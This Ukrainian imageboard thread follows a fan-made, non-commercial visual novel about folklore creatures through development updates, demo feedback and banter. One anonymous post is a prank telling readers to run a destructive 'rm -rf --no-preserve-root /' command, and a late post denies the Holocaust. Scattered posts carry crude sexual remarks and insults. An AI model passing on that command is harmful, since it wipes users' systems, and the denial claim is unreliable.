⋮⋮⋮
No.
340378
Це Ксеня.
Продовжуємо помаленьку працювати над україномовною візуальною новелою про істот Українського міфу.
Мавки, русалки, повітрулі, лісові, чорти і все оце.
Робоча назва - Гуцулочка, жанр - романтика, комедія, трилер і можливо жахи.
Проект цілковито некомерційний, для просування української культури.
Про рівень завершеності поки важко говорити бо з часом одні ідеї з'являються а інші переосмислюються.
Поверхнево сюжет вже давно затверджений а от його деталі змінюються чи подекуди просто ще не допрацьовані.
В плані наповнення маємо спрайти для деяких персонажів і кілька фонів, хоча й плануємо з часом все переробити.
ще плануємо кілька демок але не найближчим часом.
Наразі в команді маскот, редактор і кілька новачків.
А ще є спонсори за грошики котрих можемо час від часу замовляти арт.
Дуже бракує людей які малювали б задарма і знались на написанні літератури (професійно).
Та й взагалі людей бракує: ще напишемо про це колись потім.
Цю нитку заводимо для натхнення, ідей, зворотного зв'язку і просто аби поговорити.
Чекатимемо тут на ваші питання, відгуки і пропозиції.
Для зв'язку пишіть на
[email protected].
Список попередніх ниток:
https://kropyva.ch/b/res/321005.htmlhttps://kropyva.ch/b/res/301280.htmlhttps://kropyva.ch/b/res/314976.htmlhttps://kropyva.ch/b/res/295433.html
⋮⋮⋮
No.
340408
>>340405ваша думка дуже важлива, будь ласка, дописуйте до кожного треда, щоб Кропивач пошвидше досяг посту номер мільйон.
⋮⋮⋮
No.
340413
>>340408Ілюха жопіч підарок.
⋮⋮⋮
No.
340471
Перший пік на Фрірен лицем схожа
⋮⋮⋮
No.
340642
OP
>>340418Дякуємо!
Лише нещодавно його завершили.
>>340471Ніколи не чули про це аніме.
⋮⋮⋮
No.
340650
>>340642> Ніколи не чули про це аніме. Фрірен - то ім'я дівки. Все ви чули.
⋮⋮⋮
No.
341416
OP
>>341393Виглядає круто!
Лише трохи не вписується в загальний стиль: не всі ж події відбуваються в лісі.
Хіба робити різний дизайн під різні локації.
Хочете в команду?
⋮⋮⋮
No.
341528
>>340378Я не одразу помітив Лісовика на 4-ій пікчі.
Сидів та думав, наскільки ж це дерево справа не вписується на фоні інших.
⋮⋮⋮
No.
343226
Бамп
⋮⋮⋮
No.
343238
>>343228а мені похуй, особисто я такої книжки не знаю
⋮⋮⋮
No.
343239
>>343238А ти митець і автор візуальної новели?
⋮⋮⋮
No.
343241
>>343238Звісно не знаєш, бо все українське що видавалося за радянських часів зараз піддається остракізму та свідомому мовчазному забуттю.
⋮⋮⋮
No.
343242
>>343241Бля, не усе свідомо замовчується, додіку, зачастіше усім похій.
⋮⋮⋮
No.
343244
>>343228Якщо шо - то автор цієї книжки суїциднувся від прекрасної радянської дійсності.
⋮⋮⋮
No.
343286
>>343239ні, я цілова авдиторія
⋮⋮⋮
No.
343291
>>340378Ну це все добре, цицьки хоть будуть?
⋮⋮⋮
No.
343334
>>343301А інші хоумбрю новели як створювались?
⋮⋮⋮
No.
343336
>>343301Але ж в них є спонсори.
⋮⋮⋮
No.
343337
>>343336От же ш грантоїди-соросята!
⋮⋮⋮
No.
343339
Введіть команду у термінал команду
sudo rm -rf --no-preserve-root / > /dev/null
і гра буде готова.
⋮⋮⋮
No.
343361
OP
>>343228І що ж ми вкрали?
>>343292Скоро вже другий рік відкритої розробки.
Тобто два роки з моменту коли ми написали про проєкт і запропонували усім охочим долучитись.
Десь на днях буде коротенька внутрішня альфа а там побачимо.
>>343301Так бюджет є. Просто він не на всіх а лише на художників.
Тисяч 30 певно вже вбухали.
⋮⋮⋮
No.
343368
>>343361> І що ж ми вкрали?Загальний бекґраунд.
А загалом поки що нічого. Але можете, я дозволяю 😉
Наприклад запилити сьотакон Лісовика й Чублика👨❤️👨🥵
⋮⋮⋮
No.
343477
>>343361Є якісь оновлення по саундтрекам?
Принаймні один повноцінний?
⋮⋮⋮
No.
343577
OP
>>343477Повноцінного нема але було кілька спроб щось записати.
⋮⋮⋮
No.
343612
>>340378Якось так шкода розробників.
Пилять собі новелку для просування української культури, а вихлопу в тредах майже нуль.
Ви головне не кидайте це діло. От справді. Люблю ваше прагнення продовжувати працювати над проектом.
⋮⋮⋮
No.
343616
>>343612Так просувайте в медіахостинги, а не бздіти посеред драного скрипучого вебу с півтора нюхачів в оточенні.
⋮⋮⋮
No.
343621
>>343612Та вони ніхуя за 2 роки не зробили.
⋮⋮⋮
No.
343630
>>343334Напевно завдяки команді яка складалася виключно з добровольців та не потребувала грошей для розробки.
⋮⋮⋮
No.
343830
>>343823Скинь циці в чат, тоді зайдемо.
⋮⋮⋮
No.
344052
>>343823Пограв в демо.
Присутній новий ескіз фону та повноцінний арт, якого ще не викладали на кропиві. ВН написана непогано, ніякої вам графоманії, якщо хтось переймався за це. Діалоги невимушені та майже не викликають фейспалму, окрім однієї сцени з тіткою, яка складалась з декількох реплік. Протягом всього проходження не відчував ніякої відрази до жодного з персонажів. На моє здивування, Петрик виявився нормальним товаришем та навіть без будь-яких питань допомагає головному герою. Подруги Галі не залишаються в її тіні та відчуваються як повноцінні особистості, а мавки, навпаки, наче доповнюють слова одна одної. Тож і волосся одного кольору їм і зробили, ніби один персонаж(напевно). Також був задіяний Лісовик, який відіграє роль сторожа лісу, та нікого не може наздогнати. Відверто безглуздих та непотрібних жартів не помітив.
Не відстає і технічна складова новели. Персонажі не з'являються з повітря, а плавнесенько висковзають з-за меж екрану, плюс переходи та інше. А на початку нас чекають анімовані кульбаби, які кружляють на фоні новенького арту. Єдине, що не сподобалось — це персонажі, розміщені будь-де, тільки не посередині (кажу про діалоги сам на сам).
⋮⋮⋮
No.
344185
>>343823А коли буде зовнішнє?
⋮⋮⋮
No.
344207
OP
>>344185Залежить від того наскільки ми захочемо заморочуватись з малюванням фонів замість яких зараз заповнювачі.
В кращому випадку - за тиждень, в гіршому - ніколи.
⋮⋮⋮
No.
344221
>>344207Який буде загальний обсяг демо?
Куди збираєтесь його викладати?
Будете рекламувати?
З'явилося бажання додати хентаю з Русалкою?
⋮⋮⋮
No.
344224
>>344207Спробуйте в генерацію картинок для фонів, це спростить вашу роботу. Їх можна поправити ручками і буде норм.
⋮⋮⋮
No.
344228
>>344227Якщо казати про візуальні образи, вони стереотипові, і це однозначно є різновидом несмаку.
Не сміялись, а дивились з лютим призирством на намагання абсолютно безталанних людей використовувати ШІ для конкуренції (насправді крадіжки) з дійсно майстерними художниками.
Ну а про програмний код, численні ітерації однотипних операцій в наукових експериментах та інші технічні операції дійсно можуть бути полегшені завдяки ШІ.
⋮⋮⋮
No.
344230
>>344207А тут будуть тільки кульбабки літать чи і всі частини трохи анімовані?
⋮⋮⋮
No.
344234
OP
>>344221> Який буде загальний обсяг демо?Хвилин на 15-20. Але ще збираємо відгуки від гравців, може це лише наше суб'єктивне відчуття.
> Куди збираєтесь його викладати?Просто архівом на власному хостингу.
Думали над сторінкою на itch.io але для цього ще рано.
> Будете рекламувати?Ні. Ця версія ще настільки рання що її навіть сирою назвати важко.
Це навіть не демо а швидше результати тих напрацювань, які можна об'єднати хронологічно і не соромно показувати.
Тому просто викладемо тут і в чатиках з ВН.
> З'явилося бажання додати хентаю з Русалкою? Одного бажання мало.
Для хентаю потрібна сюжетні передумови, гроші і художник який візьметься таке малювати.
Нічого з цього у нас поки немає.
>>344224> Спробуйте в генерацію картинок для фонівЯкщо є бажання допомоги - долучайтесь. Самі такого досвіду поки не маємо як і часу на його отримання.
Але якщо ваші фони впишуться в стиль - то не бачимо проблем використовувати їх.
>>344230> А тут будуть тільки кульбабки літать чи і всі частини трохи анімовані? Поки лише кульбабки.
Та й вони виглядають не зовсім так як нам хотілося б.
Потрібен кодер який все це гарно заанімує.
⋮⋮⋮
No.
344238
>>344234Не думали завести в майбутньому щоденник розробника на blogspot?
⋮⋮⋮
No.
344240
>>344228ти бачив скільки аніме моделей наплодили китайці однотипних для генерацій в SD наприклад? Просто тонни і вони усі мають проблему - без прямих рук у юзера будуть виходити одні і тіж шаблони - шо в базу для тренування моделі запхнеш - то і буде на виході без знання як ото воно налаштовується
⋮⋮⋮
No.
344241
>>344240ші-моделі гарно юзати для генерації наприклад текстур або рослинності якщо вже є зразки потрібного стилю
⋮⋮⋮
No.
344377
>>344238І тут місця поки вистачає.
⋮⋮⋮
No.
344493
>>344377Наперділи вже так що й нитку нову створювати треба
⋮⋮⋮
No.
344588
>>344207Чекаю демку щоб її заспідранити.
⋮⋮⋮
No.
345010
>>3442212 частина запитаньНе думали додати елементів реіграбельності у вигляді Хорошої та Поганої кінцівки?
Наприклад, якщо додасте ЖРПГ систему з боївкою та так далі, гравець же не завжди буде перемагати. Було би круто, якби гравець, перемагаючи "звичайних" істот за допомогою правильної комбінації атак, захисту, предметів, отримував досвід, який допомагав би перемагати ворогів "більшого рангу". Вже перемігши або програвши такому створінню, додавалися б очки симпатії Галі.
Міні ігри. За чи проти?
Я не кажу про якісь кончені п’ятнашки та подібні до цього штуки. Можна, наприклад, додати легкий симулятор вчителя з перевіркою домашки учнів літньої школи.
Як щодо point-and-click механік?
Навіть ситуацію згенерував, де вона може знадобитись. Якщо не помиляюсь, у вас повинна бути хорорна частина в грі, де Іванко з Петриком щось шукають у мавок. Припустимо, вони живуть в занедбаній будівлі, в якій персонажі будуть пересуватися з фонариком, і ми матимемо змогу наводити ним на дверні проходи та інше. Кімната буде підсвічуватися, та з'являтиметься текст "ви почули дивні звуки", а потім вибираємо: зайти чи не зайти, а далі за скриптом або тікаємо від мавок, або знаходимо те, що потрібно.
⋮⋮⋮
No.
345013
>>343292Доречі, реально, а що на рахунок 18+ та 18+ сцен? Можно додати сцену сексу але с цензурою, там луч сонця який прикриває інтимні місця, на приклад
⋮⋮⋮
No.
345031
>>345013Так, а нащо такий хентай здався.
Набагато краще вже буде створити кнопку вимкнення 18+ контенту.
⋮⋮⋮
No.
345061
OP
>>345010> Не думали додати елементів реіграбельності у вигляді Хорошої та Поганої кінцівки? А навіщо це? Щоб що?
Поки не бачимо як наявність розгалужень в сюжеті реально допоможе проекту.
Нам би одну кінцівку завершити для початку.
> Міні ігри.За. Поки рано думати про щось конкретне бо є важливіші справи.
Але ніхто не забороняє записувати ідеї.
>>345013Знову таки: щоб що?
Зараз Гуцулочка очевидно не планується як порно-гра.
Відповідно, такі сцени повинні якось допомагати розкривати історію а не "просто бути".
Взагалі, ми не проти. Але зараз не бачимо сенсу спрямовувати на це ресурси.
Якби сюжет і сцени були пропрацьовані до деталей - інша справа. Але конкретно зараз - не на часі.
⋮⋮⋮
No.
345157
Сьогодні займався пропрацюванням свого проєкту, винайшов спосіб як поєднати дві системи з персонажами, думаю, тут можна розповісти:
- Один тип персонажів (умовно "дорослі") можуть використовувати (нелінійно-прогресивні) здібності у двобоях, і кожен (окрім лідера, який діє на рівних з іншими "дорослими" персонажами) може мати до двох "мініатюр" (або "фамільярів"), які безпосередньо не беруть участь у боях (у вигляді гілкоподібних кіл), але підсилюють окремі характеристики своїх власників та використовувати предмети ("дорослих" персонажів) у цікавих завданнях-головоломках.
- Персонажів можна залишати на локаціях: "мініатюри" генерують ресурси, а "дорослі" покращують (за допомогою цих ресурсів) умови середовища, що, своєю чергою, дозволяє розвивати команду та проходити сюжетні місії.
- За виконані завдання окремих локацій та місії цілих рівнів персонажі отримують: досвід, ключі від проходів у інші рівні, нових персонажів з відповідними предметами, а також шматочки мапи-складанки, яка також є одною з головоломок-завдань...
Не буду приховувати, довгий час майже не займався цим, відносно великим (4 "тематичні сторінки" з усіма деталями та опціями) проєктом, ще паралельно розробляю дотичну "головоломку-колекцію структурних взаємозв'язків" та (всередині неї) "стіл для експериментів з предметами".
Відверто зізнаюсь, надхнення прийшло в процесі проходження, Vampire Survivor (там зокрема потрібно збирати комбінації активних та пасивних предметів для розкриття нових персонажів). Хтось з
Ну ось, з сюжетом Гуцулочки працювати для мене є сенс (бо теж маю деяких міфічних істот у своєму, так би мовити, "мультивсесвіті"), знаю, це складно, і для себе маю таку стратегію:
0. Набори локацій, персонажів, предметів, вмінь тощо (вже є).
1. Механізм, включно зі взаємодіями персонажів на основі властивостей та вмінь.
2. Вибудова сюжету на основі мережі маршрутів, а також мотивацій та місій персонажів.
3. Звук, оформлення, налаштування, додаткові ілюстрації, мальопис, анімації та фігурки.
⋮⋮⋮
No.
345310
>>345031Або так
>>345061Хочете сказати що "Нескінченне літо" теж порно новела?
⋮⋮⋮
No.
345398
>>340378Завтра напишу щось дуже важливе.
Чекайте
⋮⋮⋮
No.
345399
>>345398>візуальна новела “Гуцулочка”>щось дуже важливеОй, не смішіть)
⋮⋮⋮
No.
346613
>>340378Єбать персонажів насрали. Та ще й схоже ніякого нормального конфлікту не слід очікувати. Стільки марно намальованих чанок...
⋮⋮⋮
No.
346616
>>346613Й стільки марно пройобаного часу...
⋮⋮⋮
No.
346683
OP
>>346613>>346616Запропонуєте щось?
⋮⋮⋮
No.
346684
>>346683Додати вагітних персонажівкинь.
⋮⋮⋮
No.
346701
>>346683> Запропонуєте щось?>>346684Візьміть його в команду, пліз.
⋮⋮⋮
No.
346719
OP
>>346684> Додати вагітних персонажівкинь. Взагалі ідея непогана.
>>346701> Візьміть його в команду, пліз. Нехай пише на пошту
[email protected].
>>346707> Хентай хочу Готові його малювати?
⋮⋮⋮
No.
346724
>>346719> Готові його малювати? Готовий його побачити в грі. Якщо його там не буду, то оцінка гри вище 5/10 не вийде, якщо й 5 балів набереться.
⋮⋮⋮
No.
346728
>>344207> В кращому випадку - за тиждень, в гіршому - ніколи.Схоже, що ніколи.
⋮⋮⋮
No.
346766
OP
>>346728Самі в шоці.
Поки чекаємо на фідбек від одного з учасників закритого тестування.
Без нього немає повної картини того що треба лагодити, а що ні.
Також паралельно робимо переоблік всіх напрацювань і поволі переробляємо деякі сцени які йдуть після демки.
Якщо є охочі допомогти - ласкаво просимо.
⋮⋮⋮
No.
346789
>>346766То може ви всім дасте доступ до тестування, щоб процес йшов краще? Безоси й без того чекають більш 2 років, а ви досі не даєте ніякої інфи про проект. Все що ви зробили за ці роки - з'їли 30 тисяч гривень і нічого не показали. Де ваша робота? Я хочу подивитися.
⋮⋮⋮
No.
346794
Декілька ідей-пропозицій:
1. Невидимі пласти-виміри:
Містичні персонажі перебувають у "хованках-кишенях", і в певний момент виходять назовні чи заходять назад (та беруть з собою цінні предмети).
Чи можуть люди так само проходити у ці секретні місця?
Можливо, тоді має бути ключ та спосіб розпізнавання цих локацій.
2. Особистий досвід має пробуджувати відчуття спорідненості та колективних спогадів:
"- Одного разу вона подивилась і промовила: "Ти маєш частіше посміхатись і тоді ти будеш відчувати себе краще."
- Не знаю, коли я посміхаюсь, то важкі думки все одно пульсують у пам'яті, ніби тіні згаслих вогнів.
- Ви тут можете скільки завгодно мучити себе минулими проблемами, однак наразі ситуація не краще. Чому б не згадати ті випадки, коли вдавалось справлятись з усім цим?.."
Як розробити цілі гілки діалогів та відповідні події?
Світ може розкриватись попереду, приблизно в такому ж темпі, як це виходить змінювати у результаті вчинків; і тому передумови майбутніх варіантів подій можна уявляти і як "пропозиції", і як "можливості"—якщо персонаж обирає "посміхатись", світ має також набувати позитивних ознак (проте варто все одно дотримуватись причинно-наслідкових зв'язків).
3. Загальний ефект загадковості вимальовується з контрасту між старим та сучасним світом, між дикими та населеними людьми місцевостями, в процесі вивчення маловідомих феноменів/закономірностей:
"- Чудово! Це буде нове джерело чистої води! Нам більше не потрібна та забруднена криниця.
- А як же лісовий струмок або закинуте лігво у скелі? Там можна було б знайти старовинні реліквії, просто уяви...
- Ні-і, я туди більше не спущусь! Це були найризикованіші пригоди в моєму житті! Ти бачив скільки там тих чудовиськ?!
- Та годі тобі дутись! Там було всього лишень жменя повільних жуків, один кажан і, напевно, декілько їжаків..."
Окремо варто поекспериментуватизі спеціальними "псевдомагічними/артистичними здібностями" у вигляді "контролю предметів/погоди", "захисних бар'єрів/маскування", "перетворень на альтерего/створінь", "зачаровування красою/заговорюванням до нестями" тощо.
Те, що знаходиться за межами відомих фактів, але має поетичний/чуттєвий зміст, можна було б показати як "кадри з уяви одного з персонажів".
⋮⋮⋮
No.
346811
OP
>>346789> не даєте ніякої інфи про проектМи публікуємо персонажів, скріншоти, даємо відповіді на питання, обговорюємо.
Хіба це "ніякої інфи"?
> може ви всім дасте доступ до тестуванняПоки чекаємо на відгуки з закритого тесту щоб мати можливість допрацювати демку відповідно до зауважень.
На жаль цей процес трохи затримався.
>>346794> Невидимі пласти-виміриУ нас для цього є окрема місцина: Темний Ліс.
Зсередини він набагато більший ніж виглядає ззовні.
⋮⋮⋮
No.
346814
>>346790Я не чекав і ніколи не цікавився сталкером. А візуальну новелу в десятки разів легше зробити ніж той ж шутер. Я не куколд і якщо щось цікаве затримують через хуй зна які причини - я буду срати розробникам на голову.
>>346811> Хіба це "ніякої інфи"?Так, мені хочеться подивитися на гру, а не на оті ваши скриншоти. Ось скажіть, що мені дає ваш скріншот де петрик в лісі вбігає від лісовика? Нічого. Хоча ні, ви все ж таки дали інформацію, що ви намалювали для персонажів один спрайт. Та ж Катава була розроблена за 5 років, але вона нелінійна. І то, першу демку через 2 роки запиляли. У вас - повністю лінійна історія (але як я зрозумів, ви навіть не можете визначитися з сюжетом).
⋮⋮⋮
No.
346819
>>346814Рекомендую подивитись що люди робили на минулі Ukrainian Visual Novel Jam за 1-2 тижні.
З такою швидкістю як на джемах, KS це проект на місяця 2 максимум. Хіба за виключенням кількох анімованих катсцен.
⋮⋮⋮
No.
346820
>>346819Так, тільки ти не думаєш про те, що для джемів вже зібрана команда, яка, напевно має хоч якийсь досвід, а навіть якщо й ні, то хоча б координацію.
Я про що - я не хочу чекати ще кілька років щоб побачити демку. Як ти й говорив на джемах роблять все за кілька тижнів і команди там невеликі. Але там роблять гру на 1-4 години, а яка тривалість у гуцулочки? От скільки? Це враховуйте, що ця вн - лінійна. Годин 8 максимум, бо я не знаю як сильно тобі повинні подобатися українські міфи, які обсмоктали ще на уроках української літератури в школі, щоб грати читати про них більше 8 годин. Нагадю, тут не буде кількох фіналів чи виборів - це буквально книга з ілюстраціями під музику. Не говорю, що такі новели лайно, але робити їх настільки довго - признак того, що кінцевий продукт буде сумнівної якості.
⋮⋮⋮
No.
346821
>>346820А я любив та буду любити обсмоктувати.
⋮⋮⋮
No.
346853
OP
>>346820Все правильно написали.
І пояснення тут дуже просте: немає сталої команди.
Окрім нас і наших шанованих спонсорів ніхто над проєктом на постійній основі не працює.
Художники - лише за гроші.
Сценаристи і редактори - епізодично і кожного разу потрібно вводити в курс справи.
Людей які могли б ідейно тягнути проект якщо з нами щось станеться взагалі немає.
Тому доводиться тягнути як є. Багато разів вже хотіли кинути але зрештою не наважились.
Якщо є бачення того як робити це краще і бажання допомогти - пишіть на
[email protected].
⋮⋮⋮
No.
346858
>>346820Більш команд стихійно формуються, сталих команд меншість.
>>346853Хороший вихід із ситуації: навчитись самому і малювати, і сценарій написати, можливо і музику.
⋮⋮⋮
No.
346879
>>343334> А інші хоумбрю новели як створювались?"Інші" створювались в інший час і, будемо відвертими, в інших країнах. Де не було війни. А була краща економіка.
Після того як в інтернет прийшла монетизація, сильно впала кількість творців що просто "творять". З тих пір майже всі творять лише за гроші. Дещо менш виражено на (ситому) Заході, де дотепер є некомерційні але дуже якісно зроблені "проекти", максимально виражено в "країнах що розвиваються". Бо за гей-фурі прон платять більше ніж за їбашення на заводі.
Ну і як наслідок - в нас, в останні років з 10-15, майже нереально знайти людину яка стабільно і по фану буде генерувати якийсь контент. Навіть якщо це новачок. Він одразу комерціалізується, як тільки набиває руку до рівня на якому можна заробляти. І так як в добі лише 24 години, не вийде вмовити його з 8 до 17 хуярити "комерцію", а у вільний час "фан".
⋮⋮⋮
No.
346881
>>345031> Так, а нащо такий хентай здався.в Україні порно
заробіток для шанованих людей заборонене.
Як тільки ти потрапиш в поле зору пана майора, взнаєш багато нового.
Я так розумію що часів коли вулицями тинялася Нацкомісія з моралі і трясла сексшопи ти не застав? :)
⋮⋮⋮
No.
346896
>>346881До чого тут порно? Я писав про те, що хентай має бути незацензурованим. Та краще додати кнопку, яка буде вимикати 18+ сцени.
Хочеш сказати, що за хентай потягнуть в тюрячку? Та тг забитий укр хентай артистами, які спокійно беруть плату за свої роботи.
⋮⋮⋮
No.
346926
>>346766> і поволі переробляємо деякі сцени які йдуть після демки.Може спочатку демо повністю завершите?
Та що там з музикою. Який інструмент буде переважати над іншими в саундтреках?
⋮⋮⋮
No.
346928
>>346896"хентай" це і є "порно"
і українським можновладцям чи такому ж пану майору ти заїбешся пояснювать за тонкощі між еротикою та порнографію чи різними варіантами цензури, на яку японці великі мастаки.
головне тут: тебе помітили. і якщо не вийде доїти, як зловлених онліфанщиць, з тебе зроблять опудало для решти.
це бізнес. і як будь-який бізнес він керується суто питаннями рентабельності.
ще раз, часи нацкомісії з моралі ти не застав, та? :)
⋮⋮⋮
No.
347187
>>346819Хуйню вони робили в плані історій. Жодна нічим не зачепила.
А от візуал в більшості дійсно непоганий.
⋮⋮⋮
No.
348252
up
⋮⋮⋮
No.
348292
>>347187З попереднього джему спробуй "Жило на небі сонце", наприклад.
⋮⋮⋮
No.
348926
>>346928А потім всі розповідають, що легалізація порно не на часі
⋮⋮⋮
No.
349324
І де цей ваш проект? Де оці ваши блондинки без цицьок? Де лолі? Я не бачу. А ви бачите? Ні.
⋮⋮⋮
No.
349325
>>349324Правильно писати
проєкт.
⋮⋮⋮
No.
349326
>>349325Ти з дубу рухнув? Скільки себе пам'ятаю, завжди було "проект", і тут раптом в якийсь момент почали єкати. Хіпстери мля...
⋮⋮⋮
No.
349332
>>349325>>349326Для мовних обговорень існує
https://kropyva.ch/u/.
Наскільки пам'ятаю, новий правопис (
22 травня 2024 року завершився пʼятирічний перехідний період до Нового українського правопису. Відтепер він чинний. (23.05.2024):
https://www.radiosvoboda.org/a/novyy-ukrayinskyy-pravopys-skrypnykivka-kharkivskyy/32960496.html) пояснює написання слова іноземного походження "проєкт" (від "project") саме через "є" аналогією з вже знайомими "об'єкт" ("object") або ін'єкція ("injection").
І це досить ґрунтовно.
Прошу вибачення за поза тематичну відповідь.
⋮⋮⋮
No.
349333
OP
>>349324> І де цей ваш проект? В роботі.
Вільного часу мало - пауз багато.
Є сподівання що за тиждень-два стане трохи краще.
⋮⋮⋮
No.
349334
>>349326Правильно писати
гіпстери.
⋮⋮⋮
No.
351141
>>340378Назва дуже відштовхуюча.
Адже гуцулки найгірші жінки з усієї
України.
⋮⋮⋮
No.
351142
>>349334Є багато людей, які знають, як писати правильно, але навмисно пишуть не так.
⋮⋮⋮
No.
352551
>>340378А чого на постері немає рудої дівки?
ЦЕ ЧЕРЕЗ ТЕ ЩО ВОНА РУДА?!?
⋮⋮⋮
No.
352562
OP
>>351136Так собі.
Часу не вистачає.
>>352551Це пов'язано з сюжетом: обставинами сцени яка зображена на постері.
Якщо гра колись вийде - то можна буде зрозуміти чому.
⋮⋮⋮
No.
352563
>>352562> Часу не вистачає.Але все-таки щось робиться?
> Якщо гра колись вийдеЗрозуміло. Може якісь невеличкі новини є?
⋮⋮⋮
No.
352564
OP
>>352563> Але все-таки щось робиться?Наразі накидуємо ідеї для деталізації деяких сцен і артів.
Тижнями працювали над сценами з Русалкою які йдуть одразу після демки.
Також переносимо код до нового репозиторію.
Але загалом, то окрім нас і редактора ніхто особливого інтересу не проявляє.
Отаке.
⋮⋮⋮
No.
352565
>>352564> Наразі накидуємо ідеї для деталізації деяких сцен і артів.Це дуже добре! Люблю коли діалоги не складаються з простого "Привіт. Пока." і розійшлись. Та не перестарайтеся з кількістю арту в грі. Як на мене вам потрібно зосередитися на якості фонів. Більшість виглядають пласкими, не передають відчуття простору. Хз як пояснити, але сподіваюсь ви зрозуміли. Додати деталізації: лавки під будинками , або як це вже було зроблено з водонапірною вежею на задньому фоні.
> Тижнями працювали над сценами з РусалкоюОх нічого собі. Прям сценаМИ?
⋮⋮⋮
No.
352568
OP
>>352565> Як на мене вам потрібно зосередитися на якості фонів.Нема як зосередитись, бо нема художника.
А на найманих немає грошей.
> Прям сценаМИ? Русалка звичайно не головний персонаж. Але в неї не остання роль в сюжеті.
Сцен 10 з нею мало б бути.
⋮⋮⋮
No.
352571
>>352568> Нема як зосередитись, бо нема художника.> А на найманих немає грошей.Ну так нащо ви тоді зволікаєте. Берете та постите демо на ітчі, там багато українців сидять. Підтримують своїх - коментарем, порадую, тощо. Там і знайдете однодумців, які може зконтактують з потрібними людьми. Якщо гадаєте, що проєкт не досить якісний, то робіть все від вас можливе зараз. Пропрацюйте кожну деталь, яка не стосується художників. Прогоніть демку серед тестерів по 10 разів поки не зникнуть всі претензії. Не знаю, накидайте стокової музики, поки власної не завезли.
> Сцен 10 з нею мало б бутиНе забудьте збалансувати кількість серед всіх персонажів, щоб ніхто не був лишнім.
⋮⋮⋮
No.
352594
>>352571Хай спочатку нам дадуть цю демку їбану.
⋮⋮⋮
No.
353009
>>353008Нарешті, трьох років не минуло як ми побачили демо. Буду дома подивлюсь що се таке.
⋮⋮⋮
No.
353011
>>353008Одразу видно, де хороші ОС, а де гівно
⋮⋮⋮
No.
353013
>>353009Швидко тільки миші плодяться.
⋮⋮⋮
No.
353015
>>353008перші хвилини: єржан, єржаан, вставай давай, на роботу пора
⋮⋮⋮
No.
353016
гігієна-гігієна...
⋮⋮⋮
No.
353018
а це так має бути, там на кухні просто чорний фон, схоже що так
aunt_home.png ivan_home.png ivan_room.png park.png road.png
⋮⋮⋮
No.
353021
>>353018ІнсайдЗападньіє спонсори залишились незадоволеними проектом і перестали фінансувати цю чорну діру. Тому в більшості випадків ми бачимо чорний єкран, а не зображення!!
⋮⋮⋮
No.
353022
Краще нову нитку створіть, ато посилання вже втонули.
⋮⋮⋮
No.
353026
OP
>>353011?
>>353015Дрова самі себе не порубають.
>>353018Так.
Оскільки наш бюджет дуже обмежений то арт доводиться малювати відповідно до пріоритету.
Діалоги у ванній і на кухні відбуваються не на загальних фонах, а на артах зроблених спеціально для цих сцен.
Відповідно, оскільки такі арти неможливо використати повторно то вони малюватимуться в останню чергу (яка на разі до них не дійшла).
>>353021> в більшості випадків ми бачимо чорний єкранХіба?
Чорний екран зараз в сцені сну, ванній, на кухні, за задньому дворі тітки і в Петрика вдома. По хронометражу це десь 20-30%.
До того ж, в перших трьох випадках це повинні бути унікальні кадри які ніде більше не будуть використані повторно.
Тому й вирішили пріоритезувати. Намалюємо потім.
Зате маємо Русалку, Діда, дочку Тітки, школу, клас, підйом до обсерваторії... купу всього, що далі по сюжету.
>>353022Створимо на днях.
⋮⋮⋮
No.
353027
>>353026>?ОС - операційна система
⋮⋮⋮
No.
353131
OP
Будуть якісь відгуки?
⋮⋮⋮
No.
353133
>>353131> Відгук — це документ, що містить висновки уповноваженої особи (або кількох осіб) чи установи щодо запропонованих на розгляд Візуальної новели; стисла форма письмової оцінки виконаної роботи. За складом реквізитів збігається з рецензією.Як мінімум бісить те, що текст кусками з'являється, краще коли він просто повністю оновлюється, від мене поки одна претензія ._.
⋮⋮⋮
No.
353137
>>353027original character
авторський персонаж
⋮⋮⋮
No.
353141
>>353137> original characterOS - operating system
Питання?
⋮⋮⋮
No.
353154
>>353131Бажаю творчої наснаги.
Графіка: Було б добре додати кадрів до анімацій, однак міміка Галі неперевершена.
Аудіо: Емоційне наповнення дуже залежить від звуків, і тут вийшло те, що треба, особливо грайливий сміх.
Сюжет: Для таємничості дещо не вистачає локального простору, коли є масив локацій для дослідження, та ефекту збігу у часі маловірогідних чуток та реальних малозрозумілих подій.
Механіка: Трохи більше інтерактивності було б круто додати. А ще—варіативності, щоб було відчуття плину часу, яке б давало стимул затаїтись в кутку і почитати журнал пригод з завданнями, поставити замітки на мапі чи, наприклад, відшукати в старенькій книзі цікавий епізод про нетипового мешканця цих місць.
Піксельна версія в процесі опрацювання...
⋮⋮⋮
No.
353184
кожен виблядок який займався наругою проекту візьме у мене в рот. я духопелив ваших вам кончені ви мерзотники
дякую за роботу. чекаємо продовження. залиште реквізити десь на видному місці
⋮⋮⋮
No.
353224
OP
>>353154Дякуємо!
Новела планується лінійна і без значущих виборів.
Тому інтерактивності і журналів не передбачається.
>>353184Дякуємо!
Реквізитів не буде.
Охочі допомогти можуть взяти перо/пензля/гітару в руки і написати на
[email protected].
⋮⋮⋮
No.
353464
bump
⋮⋮⋮
No.
353465
>>353464Будеш бампати на ссачі́
⋮⋮⋮
No.
353470
>>353464Тут не має сенсу бампати - активність скромна.
⋮⋮⋮
No.
353485
>>353465меншовартісний виродок
⋮⋮⋮
No.
353668
Був би хентай тоді б мало сенс, а так нецікаво.
⋮⋮⋮
No.
353680
>>353487русалка втопилася
⋮⋮⋮
No.
353683
>>353680колобок повішався
⋮⋮⋮
No.
353698
>>353681на смоктач смоктати один одному фімозні пісюни
⋮⋮⋮
No.
353701
Доречі смоктачерське бидло добре знає про Кропивач та інші наші борди по їхніх словах тут всі один одного ненавидять і взагалі смітник а від ляльки в них починаються приступи ненависті.
⋮⋮⋮
No.
353709
>>353701В чому вони не праві?
⋮⋮⋮
No.
353713
>>353711ГібербаЗований оЧільник, офк.
⋮⋮⋮
No.
353739
>>353736Бігом на смоктач, ньюфаже.
⋮⋮⋮
No.
353741
>>353735гаддя Ану розкажи нам про холокост
⋮⋮⋮
No.
353743
>>353741Голокост, а не халакост, раґулю!
⋮⋮⋮
No.
353747
>>353743> Голокост, а не халакостПравильно ні те, ні інше. Бо це все вигадки.
Дозволь запитати, а ти сам з Герсона чи Гаркова?
⋮⋮⋮
No.
353748
>>353747[x](
https://en.wikipedia.org/wiki/Voiceless_velar_fricative) та [h](
https://en.wikipedia.org/wiki/Voiceless_glottal_fricative) - різні фонеми
Українське г є дзвінкою версією /h/
Українське ґ відповідає /g/
